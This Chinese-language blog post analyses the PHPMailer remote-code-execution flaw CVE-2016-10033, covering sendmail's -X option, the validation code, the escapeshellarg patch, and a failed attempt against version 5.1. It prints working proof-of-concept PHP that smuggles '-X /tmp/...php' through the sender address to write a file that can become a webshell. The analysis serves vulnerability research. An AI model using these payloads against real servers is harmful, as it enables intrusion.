PHPMailer远程命令执行漏洞分析

由 mayoterry 发布

最近HW时期,红队同事在目标内网遇到了某个开源OA系统,因为急需找个突破口,所以协助在本地审计了这个OA系统的最新版本。在查看该OA系统使用的组件时,发现其使用了PHPMailer 5.1的版本,PHPMailer历史上出现过的RCE漏洞有 CVE-2016-10033和CVE-2016-10045,根据官方通告,版本 5.1也在受影响范围内。以下为分析PHPMailer漏洞过程中的一些记录。

mail()函数

查看php官方手册,可获知mail()函数点第五个参数additional_parameters可以接受 sendmail 的参数。

mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] ) : bool

描述如下:

additional_parameters (optional)
The additional_parameters parameter can be used to pass an additional parameter to the program configured to use when sending mail using the sendmail_path configuration setting. For example, this can be used to set the envelope sender address when using sendmail with the -f sendmail option.

The user that the webserver runs as should be added as a trusted user to the sendmail configuration to prevent a 'X-Warning' header from being added to the message when the envelope sender (-f) is set using this method. For sendmail users, this file is /etc/mail/trusted-users.

通过 man sendmail 查询,得知 -X 参数,可以实现写文件

04443-4ac1t0bdizy.png

本地测试,执行 sendmail -X /tmp/test01 , 成功创建文件内容

40599-7cws8u6wkg.png

CVE-2016-10033

漏洞描述

根据官方通告,在小于 5.2.18 的版本中,PHPMailer 存在远程代码执行漏洞。造成漏洞的原因正是上述所述的mail()函数,PHPMailer对mail()函数第五个参数additional_parameters过滤不严格,导致用户可以构造恶意的输入,进而实现任意文件的写入,如果攻击者成功获取到Web的绝对路径,即可通过写入webshell,实现任意命令执行。

本地验证,构造mail()函数的恶意参数输入,实现任意文件写入:

<?php
$message = '<?php phpinfo();?>';
mail('mayo@qq.com','subject',$message,NULL,'-X /tmp/shell02.php');
?>

当我们执行脚本时,即成功在/tmp目录生成shell02.php文件

77793-frp05m6n8io.png

分析网上公开的POC ,大概可推测是 $address 变量构造的内容绕过了PHPMailer的过滤机制,

<?php
require 'class.phpmailer.php';

function send($from) {
    $mail = new PHPMailer;

    $mail->setFrom($from);
    $mail->addAddress('joe@example.net', 'Joe User');     // Add a recipient

    $mail->isHTML(true);                                  // Set email format to HTML

    $mail->Subject = '<?php phpinfo(); ?>';
    $mail->Body    = 'This is the HTML message body <b>in bold!</b>';
    $mail->AltBody = 'This is the body in plain text for non-HTML mail clients';

    if(!$mail->send()) {
        echo 'Message could not be sent.';
        echo 'Mailer Error: ' . $mail->ErrorInfo;
    } else {
        echo 'Message has been sent' . "\n";
    }

    unset($mail);
}

$address = "aaa( -X /tmp/test.php )@qq.com";

send($address);

漏洞分析

下载PHPMailer 5.2.17代码,通过debug调试poc代码的执行流程,看到执行到 validateAddress 函数时, $address 变量经过了一段很长的正则判断

58707-t2fh15f8kni.png

如下图,Step into进入下一步,程序在 if 判断里并没有return false , 接着将 $address 的值赋值给 Sender

67573-wds47b38y9.png

继续往下走,在进入mailPassthru 函数时,成功调用mail()函数,此时$params 的值为 "-faaa( -X /tmp/test.php )@qq.com",正好实现了任意写文件的目的,此时漏洞被成功利用。

94207-atyqaggm2i.png

调用堆栈:

63337-scjm8u2bnkl.png

分析一下对$address 过滤的关键函数 validateAddress

    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

根据判断条件,作者本地poc执行到 case 'pcre8'方式的条件为:

1、当前php环境支持PCRE

2、PCRE版本大于8.0.3

通过上述的POC,此时可以成功的触发漏洞。

还有另一种情况:

1、PHP 不支持 PCRE

2、PHP 版本小于 5.2.0

这个时候该函数会使用 case 'noregex‘的方式,即只需满足三个条件即可通过过滤:

1、输入长度大于 3

2、含有@

3、@不是最后一个字符

这三个条件很容易满足,所以在这种情况下漏洞是很容易触发漏洞的。但是满足这个情况的主机现在已经很少了,正常情况下都是使用pcre8的正则来进行过滤。

补丁分析:

PHPMailer官方 5.2.18 版本 commit 内容:

https://github.com/PHPMailer/PHPMailer/commit/4835657cd639fbd09afd33307cef164edf807cdc

90857-0oa8tlp49oz.png

可以看到旧版本的 $this->Sender是直接传给了 $params ,而补丁使用了escapeshellarg函数对$this->Sender传入的值提前进行了过滤。

使用打过补丁的PHPMailer代码和旧的poc,重新调试代码,发现经过escapeshellarg函数的过滤后,$params的值已经被 ‘ ’ 号包裹起来了,所以此时旧的POC已经失效。

21103-pub678za4lk.png

验证旧的POC已经失效:

88105-re1w3ajm5qi.png

PHPMailer 5.1版本

根据官方通告,在小于 5.2.18 的版本中,PHPMailer 存在远程代码执行漏洞(CVE-2016-10033),所以理论上 5.1版本也受该漏洞的影响。

我们先使用旧版本的POC测试一下。debug执行调试,发现代码在进入 ValidateAddress 函数时,经过 filter_var 函数的判断后,直接返回了false

76669-0rcsvdk78laf.png

接着返回了 “invalid_address”

14179-h3i1m4j9898.png

查看该版本的 ValidateAddress 函数,发现代码较5.2.17简单很多:

  public static function ValidateAddress($address) {
    if (function_exists('filter_var')) { //Introduced in PHP 5.2
      if(filter_var($address, FILTER_VALIDATE_EMAIL) === FALSE) {
        return false;
      } else {
        return true;
      }
    } else {
      return preg_match('/^(?:[\w\!\#\$\%\&\'\*\+\-\/\=\?\^\`\{\|\}\~]+\.)*[\w\!\#\$\%\&\'\*\+\-\/\=\?\^\`\{\|\}\~]+@(?:(?:(?:[a-zA-Z0-9_](?:[a-zA-Z0-9_\-](?!\.)){0,61}[a-zA-Z0-9_-]?\.)+[a-zA-Z0-9_](?:[a-zA-Z0-9_\-](?!$)){0,61}[a-zA-Z0-9_]?)|(?:\[(?:(?:[01]?\d{1,2}|2[0-4]\d|25[0-5])\.){3}(?:[01]?\d{1,2}|2[0-4]\d|25[0-5])\]))$/', $address);
    }
  }

ValidateAddress 函数里通过 filter_var 或者 正则处理了传入的 $address 值。

当php大于5.2版本(存在filter_var函数)时,会使用 filter_var 函数判断,当php环境小于 5.2 版本时,会使用正则来判断。

字符串 $this->Sender 传入 $params 时,做了一个简单的字符拼接

31253-hezwzwbzn4.png

本地测试mail()函数,发现传入的 $this->Sender 必须有空格存在。否则触发不了漏洞,如下:

当 $params = "-oi -f aa-X /tmp/test05@1.php" 时,此时不能触发漏洞;

当$params = "-oi -f aa -X /tmp/test05@1.php"时,此时可以成功出发漏洞。

结果很遗憾,在分析 filter_var函数 和上述正则后,发现都没法写入空格,fuzz跑了很久,暂时也没找到其他的利用方法。

参考:

https://github.com/PHPMailer/PHPMailer

https://github.com/PHPMailer/PHPMailer/security/advisories/GHSA-5f37-gxvh-23v6

https://paper.seebug.org/160/

https://www.cdxy.me/?p=754


暂无评论

发表评论